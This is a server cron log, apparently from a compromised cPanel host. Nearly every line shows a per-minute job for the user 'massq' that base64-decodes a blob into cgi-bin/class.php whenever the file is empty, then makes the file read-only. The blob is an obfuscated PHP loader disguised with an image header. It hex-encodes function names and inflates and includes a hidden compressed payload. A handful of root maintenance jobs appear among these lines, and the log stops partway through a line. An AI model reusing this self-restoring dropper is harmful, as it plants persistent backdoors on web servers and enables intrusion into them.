Nov 13 15:36:01 server CROND[2190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:37:01 server CROND[3056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:38:01 server CROND[3930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:39:01 server CROND[4558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:39:01 server CROND[4559]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:40:01 server CROND[5049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:40:01 server CROND[5050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:40:01 server CROND[5051]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:40:01 server CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:41:01 server CROND[6070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:42:01 server CROND[6997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:42:01 server CROND[6996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:43:01 server CROND[7632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:44:01 server CROND[8504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:45:01 server CROND[9531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:45:01 server CROND[9532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:45:01 server CROND[9530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:46:01 server CROND[10521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:47:01 server CROND[11394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:48:01 server CROND[12244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:49:01 server CROND[13111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 